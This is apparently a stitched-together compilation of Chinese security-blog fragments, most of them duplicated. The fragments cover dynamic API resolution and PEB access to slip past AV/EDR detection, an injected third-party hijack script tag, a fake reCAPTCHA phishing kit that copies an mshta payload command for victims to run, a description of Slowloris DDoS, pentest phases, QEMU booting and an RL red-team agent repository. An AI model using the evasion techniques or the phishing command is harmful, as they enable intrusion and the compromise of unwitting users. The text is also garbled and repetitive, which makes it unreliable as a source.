导入表(Import Directory)存储了有关PE文件在运行的生命周期中所需要的API以及相关的dll模块。
有些AV/EDR会根据
导入表中记录的API来判定一个程序是否为高危文件,比如说一个文件在1MB以内,出现了 VirtualAlloc、VirtualProtect、CreateThread 等敏感API时,很大概率会判定为高危文件。
很多工具可以查看文件的导入表,常见的有studyPE+、IDA。
在本节中,我将详细介绍动态获取API函数的三种方式,它们分别是
1. GetModuleHandle+GetProcAddress 的组合获取所需的API函数指针
2. 使用 PEB 获取 GetModuleHandle 和 GetProcAddress 的函数指针,再利用 GetModuleHandle+GetProcAddress 获取所需要的API函数指针
3. 使用 PEB 获取所需要的API函数指针
网上也有人用 LoadLibrary 作为 GetModuleHandle 的平替,其效果相差无几,只是它们的机制有些区别,比如说在 自举的代码幽灵——反射DLL注入(Reflective DLL Injection) 中我们就是利用 LoadLibrary+GetProcAddress 给我的恶意DLL加载相应的DLL获取需要的API函数指针,值得关注的一点是恶意DLL是由其自身的导出函数 ReflectiveLoader 完成自身的加载,这意味着相应的DLL并没有加载到自身的地址空间中,所以需要利用 LoadLibrary 而不应该使用 GetModuleHandle。
有些AV/EDR会根据
导入表中记录的API来判定一个程序是否为高危文件,比如说一个文件在1MB以内,出现了 VirtualAlloc、VirtualProtect、CreateThread 等敏感API时,很大概率会判定为高危文件。
很多工具可以查看文件的导入表,常见的有studyPE+、IDA。
在本节中,我将详细介绍动态获取API函数的三种方式,它们分别是
1. GetModuleHandle+GetProcAddress 的组合获取所需的API函数指针
2. 使用 PEB 获取 GetModuleHandle 和 GetProcAddress 的函数指针,再利用 GetModuleHandle+GetProcAddress 获取所需要的API函数指针
3. 使用 PEB 获取所需要的API函数指针
网上也有人用 LoadLibrary 作为 GetModuleHandle 的平替,其效果相差无几,只是它们的机制有些区别,比如说在 自举的代码幽灵——反射DLL注入(Reflective DLL Injection) 中我们就是利用 LoadLibrary+GetProcAddress 给我的恶意DLL加载相应的DLL获取需要的API函数指针,值得关注的一点是恶意DLL是由其自身的导出函数 ReflectiveLoader 完成自身的加载,这意味着相应的DLL并没有加载到自身的地址空间中,所以需要利用 LoadLibrary 而不应该使用 GetModuleHandle。
网页被嵌入第一段JS代码
为了搞清楚其劫持原理,笔者尝试从代码层面对其整个劫持原理进行了研究剖析。
通过查看其网页源代码,我们发现在源代码中确实存在嵌入第三方js资源代码的情况。
被嵌入的JavaScript代码如下:
1
2
<script language="javascript" src="https://www.zuizhongjs.com/js/24/12/7/ky1.js" type="text/javascript"></script>
为了搞清楚其劫持原理,笔者尝试从代码层面对其整个劫持原理进行了研究剖析。
通过查看其网页源代码,我们发现在源代码中确实存在嵌入第三方js资源代码的情况。
被嵌入的JavaScript代码如下:
1
2
<script language="javascript" src="https://www.zuizhongjs.com/js/24/12/7/ky1.js" type="text/javascript"></script>
了解Qemu模拟运行Linux内核的基本执行流程
QEMU 是一个开源模拟器,广泛用于虚拟化不同架构的操作系统。在启动 Linux 内核时,QEMU 通过 qemu-system-x86 命令初始化虚拟机环境。这一过程包括设置 CPU、内存和设备模拟,确保虚拟机能够运行目标操作系统。
通过QEMU启动内核以及加载文件系统:
内核加载与执行: QEMU 加载内核映像文件,通常为 bzImage(压缩的内核)或 vmlinux(未压缩的内核)。根据 QEMU 文档,用户可以通过 -kernel 选项指定内核文件路径。内核加载后,会自动解压(如果为 bzImage),然后开始执行,完成硬件初始化(如设置内存结构、加载驱动)。
QEMU 是一个开源模拟器,广泛用于虚拟化不同架构的操作系统。在启动 Linux 内核时,QEMU 通过 qemu-system-x86 命令初始化虚拟机环境。这一过程包括设置 CPU、内存和设备模拟,确保虚拟机能够运行目标操作系统。
通过QEMU启动内核以及加载文件系统:
内核加载与执行: QEMU 加载内核映像文件,通常为 bzImage(压缩的内核)或 vmlinux(未压缩的内核)。根据 QEMU 文档,用户可以通过 -kernel 选项指定内核文件路径。内核加载后,会自动解压(如果为 bzImage),然后开始执行,完成硬件初始化(如设置内存结构、加载驱动)。
Initramfs(Initial RAM Filesystem)是 Linux 启动过程中的临时根文件系统,通常以 initramfs.cpio 格式存在。根据 Gentoo Wiki,其主要目的是为内核提供一个最小化的用户空间环境,以加载必要的驱动和挂载真实根文件系统。
● 加载与挂载: 内核检测到 Initramfs 文件后,将其解压并挂载为内存中的临时根文件系统(/)。这一过程通过 cpio 归档格式实现,内容包括基本的 shell、工具(如 busybox)和配置文件。
● 作用: Initramfs 特别适用于需要特殊驱动(如 RAID、LVM 或加密文件系统)的系统。例如,Debian Wiki 指出,Initramfs 允许在挂载真实根文件系统之前加载内核模块,增强了启动的灵活性。
● 解释补充: 用户提供的图表正确描述了这一阶段,但需要强调 Initramfs 是启动过程中的关键步骤,尤其在复杂存储配置下(如 USB 启动或加密分区)。
● 加载与挂载: 内核检测到 Initramfs 文件后,将其解压并挂载为内存中的临时根文件系统(/)。这一过程通过 cpio 归档格式实现,内容包括基本的 shell、工具(如 busybox)和配置文件。
● 作用: Initramfs 特别适用于需要特殊驱动(如 RAID、LVM 或加密文件系统)的系统。例如,Debian Wiki 指出,Initramfs 允许在挂载真实根文件系统之前加载内核模块,增强了启动的灵活性。
● 解释补充: 用户提供的图表正确描述了这一阶段,但需要强调 Initramfs 是启动过程中的关键步骤,尤其在复杂存储配置下(如 USB 启动或加密分区)。
网络渗透测试的阶段
1. 规划和侦察:这一初始阶段涉及收集尽可能多的有关目标网络的信息。其中包括确定范围、目标和交战规则。侦察可以是被动的(例如,从公共来源收集信息),也可以是主动的(例如,网络扫描)。
2. 扫描:下一阶段涉及识别开放端口、服务和潜在漏洞。Nmap 和 Nessus 等工具通常用于扫描和漏洞评估。
3. 获取访问权限:此阶段涉及利用已识别的漏洞获取网络访问权限。技术可能包括 SQL 注入、网络钓鱼和利用未打补丁的软件。
4. 保持访问权限:一旦获得访问权限,测试人员就会尝试保持其在网络中的存在。这可能涉及安装后门或创建用户帐户以确保持续访问。
5. 分析和报告:测试结果将汇编成详细报告。报告包括已识别的漏洞、利用方法、潜在影响以及补救建议。
6. 补救和重新测试:解决漏洞后,进行重新测试以确保问题得到有效缓解
1. 规划和侦察:这一初始阶段涉及收集尽可能多的有关目标网络的信息。其中包括确定范围、目标和交战规则。侦察可以是被动的(例如,从公共来源收集信息),也可以是主动的(例如,网络扫描)。
2. 扫描:下一阶段涉及识别开放端口、服务和潜在漏洞。Nmap 和 Nessus 等工具通常用于扫描和漏洞评估。
3. 获取访问权限:此阶段涉及利用已识别的漏洞获取网络访问权限。技术可能包括 SQL 注入、网络钓鱼和利用未打补丁的软件。
4. 保持访问权限:一旦获得访问权限,测试人员就会尝试保持其在网络中的存在。这可能涉及安装后门或创建用户帐户以确保持续访问。
5. 分析和报告:测试结果将汇编成详细报告。报告包括已识别的漏洞、利用方法、潜在影响以及补救建议。
6. 补救和重新测试:解决漏洞后,进行重新测试以确保问题得到有效缓解
CLAP是一个强化学习PPO 代理,在模拟计算机网络环境中执行渗透测试
网络攻击模拟器 (NASim) 是一个模拟计算机网络,具有漏洞、扫描和漏洞利用,旨在用作 AI 代理的测试环境和应用于网络渗透测试的规划技术。
然而,与原始论文相比,此 repo 做出了以下更改
基于CleanRL开发
为 POMDP 场景添加 LSTM
由于循环无模型强化学习可以成为许多 POMDP 的强大基线
为了支持 NASim 2D 观察空间,Transformer已实施为先例
用于Conda管理python环境和Poetry管理包。开始
克隆此 repo:
git clone /github.com/yyzpiero/RL4RedTeam.git
创建 conda 环境:
conda create -p ./venv python==X.X
并使用 poetry 安装所有 Python 包:
poetry install
网络攻击模拟器 (NASim) 是一个模拟计算机网络,具有漏洞、扫描和漏洞利用,旨在用作 AI 代理的测试环境和应用于网络渗透测试的规划技术。
然而,与原始论文相比,此 repo 做出了以下更改
基于CleanRL开发
为 POMDP 场景添加 LSTM
由于循环无模型强化学习可以成为许多 POMDP 的强大基线
为了支持 NASim 2D 观察空间,Transformer已实施为先例
用于Conda管理python环境和Poetry管理包。开始
克隆此 repo:
git clone /github.com/yyzpiero/RL4RedTeam.git
创建 conda 环境:
conda create -p ./venv python==X.X
并使用 poetry 安装所有 Python 包:
poetry install
下载项目至本地,点击index.html。并且修改index.html第423行,加上项目路径。
用户点击方框,此时粘贴板已复制了攻击命令(可自定义):
mshta file://C:Users用户名Desktopecaptcha-phish-mainecaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 3495''
如果此时用户被诱导,打开windows+R,并且输入命令,则此时用户将会执行恶意payload。并且在用户视角看上去,仅看到✅ ''I am not a robot - reCAPTCHA Verification ID: 3205''。
用户点击方框,此时粘贴板已复制了攻击命令(可自定义):
mshta file://C:Users用户名Desktopecaptcha-phish-mainecaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 3495''
如果此时用户被诱导,打开windows+R,并且输入命令,则此时用户将会执行恶意payload。并且在用户视角看上去,仅看到✅ ''I am not a robot - reCAPTCHA Verification ID: 3205''。
获取PEB结构体的地址
不同位数系统的下的PEB结构体在TEB或者寄存器中的偏移量是不同的,且同一位数系统下都存在着两种获取PEB的方法,下面我将详细介绍。
首先我们要明白,GS/FS寄存器存储着当前TEB指针,而TEB结构体偏移0x30/0x18的位置上也存储着当前TEB指针,所以就出现了两种方法获取PEB指针的方法,它们之间的适用场景不同。
方法一:避免直接依赖寄存器,兼容性更强。可以规避对 0x60 偏移的系统调用监控(如CrowdStrike的PEB扫描规则)
方法二:代码简洁、效率高,常用于shellcode开发。
在64位系统下获得PEB
方法一:从TEB出发
TEB的指针存放在 GS 寄存器偏移0x30的位置,而Visual Studio提供 __readgsqword(0x30) 这个宏定义,可以方便我们读取TEB指针。
在线程环境块 (TEB) 结构中是存放着指向 PEB 结构的指针,PEB指针在TEB结构体中偏移0x60的位置上。
不同位数系统的下的PEB结构体在TEB或者寄存器中的偏移量是不同的,且同一位数系统下都存在着两种获取PEB的方法,下面我将详细介绍。
首先我们要明白,GS/FS寄存器存储着当前TEB指针,而TEB结构体偏移0x30/0x18的位置上也存储着当前TEB指针,所以就出现了两种方法获取PEB指针的方法,它们之间的适用场景不同。
方法一:避免直接依赖寄存器,兼容性更强。可以规避对 0x60 偏移的系统调用监控(如CrowdStrike的PEB扫描规则)
方法二:代码简洁、效率高,常用于shellcode开发。
在64位系统下获得PEB
方法一:从TEB出发
TEB的指针存放在 GS 寄存器偏移0x30的位置,而Visual Studio提供 __readgsqword(0x30) 这个宏定义,可以方便我们读取TEB指针。
在线程环境块 (TEB) 结构中是存放着指向 PEB 结构的指针,PEB指针在TEB结构体中偏移0x60的位置上。
Slow Loris 攻击 – Slowloris 是一个 DDoS 工具包,它会向目标服务器发送部分请求,以尽可能长时间保持连接打开。同时,它会以一定的间隔发送 HTTP 标头,这会增加请求,但从不建立任何连接。这种类型的 DDoS 攻击很快就会瘫痪一个网站。它需要的带宽很少,而且只影响目标服务器的 Web 服务器,几乎不会对其他服务和端口产生任何副作用。它的工作原理是打开到目标 Web 服务器的多个连接,并尽可能长时间保持它们打开。它不断发送部分 HTTP 请求,但这些请求都不会完成。最终,目标服务器的最大连接池会被填满,其他连接尝试将被拒绝。
当受攻击的套接字超时时,Slowloris 会重新启动连接,继续使 Web 服务器负载过大。它移动缓慢,但稳定,并且可以持续很长时间。Slowloris 的设计既隐蔽又有效,可以修改为在虚拟主机成为目标时发送不同的主机标头,并且为每个虚拟主机单独存储日志。更重要的是,在攻击过程中,Slowloris 可以设置为抑制日志文件创建。这意味着攻击可以出其不意地打未监控的服务器一个措手不及,而日志文件条目中不会出现任何危险信号。
当受攻击的套接字超时时,Slowloris 会重新启动连接,继续使 Web 服务器负载过大。它移动缓慢,但稳定,并且可以持续很长时间。Slowloris 的设计既隐蔽又有效,可以修改为在虚拟主机成为目标时发送不同的主机标头,并且为每个虚拟主机单独存储日志。更重要的是,在攻击过程中,Slowloris 可以设置为抑制日志文件创建。这意味着攻击可以出其不意地打未监控的服务器一个措手不及,而日志文件条目中不会出现任何危险信号。
攻击原理:
HTTP慢速攻击是利用HTTP现有合法机制,在建立了与HTTP服务器的连接后,尽量长时间保持该连接,不释放,达到对HTTP服务器的攻击。常见的攻击有两种:
Slow POST: 攻击发送Post报文向服务器请求提交数据,将总报文长度设置为一个很大的数值,但是在随后的数据发送中,每次只发送很小的报文,这样导致服务器端一直等待攻击者发送数据。
Slow headers: 攻击通过GET或者POST向服务器建立连接,但是HTTP头字段不发送结束符,之后发送其他字段进行保活。服务器会一直等待头信息中结束符而导致连接始终被占用
针对HTTP慢速攻击的特点,Anti-DDoS设备对每秒钟HTTP并发连接数进行检查,当每秒钟HTTP并发连接数超过设定值时,会触发HTTP报文检查,检查出以下任意一种情况,都认定受到HTTP慢速连接攻击,则将该源IP地址判定为攻击源,加入动态黑名单,同时断开此IP地址与HTTP服务器的连接。
连续多个HTTP POST报文的总长度都很大,但是其HTTP载荷长度都很小。
连续多个HTTP GET/POST报文的报文头都没有结束标识。
HTTP慢速攻击是利用HTTP现有合法机制,在建立了与HTTP服务器的连接后,尽量长时间保持该连接,不释放,达到对HTTP服务器的攻击。常见的攻击有两种:
Slow POST: 攻击发送Post报文向服务器请求提交数据,将总报文长度设置为一个很大的数值,但是在随后的数据发送中,每次只发送很小的报文,这样导致服务器端一直等待攻击者发送数据。
Slow headers: 攻击通过GET或者POST向服务器建立连接,但是HTTP头字段不发送结束符,之后发送其他字段进行保活。服务器会一直等待头信息中结束符而导致连接始终被占用
针对HTTP慢速攻击的特点,Anti-DDoS设备对每秒钟HTTP并发连接数进行检查,当每秒钟HTTP并发连接数超过设定值时,会触发HTTP报文检查,检查出以下任意一种情况,都认定受到HTTP慢速连接攻击,则将该源IP地址判定为攻击源,加入动态黑名单,同时断开此IP地址与HTTP服务器的连接。
连续多个HTTP POST报文的总长度都很大,但是其HTTP载荷长度都很小。
连续多个HTTP GET/POST报文的报文头都没有结束标识。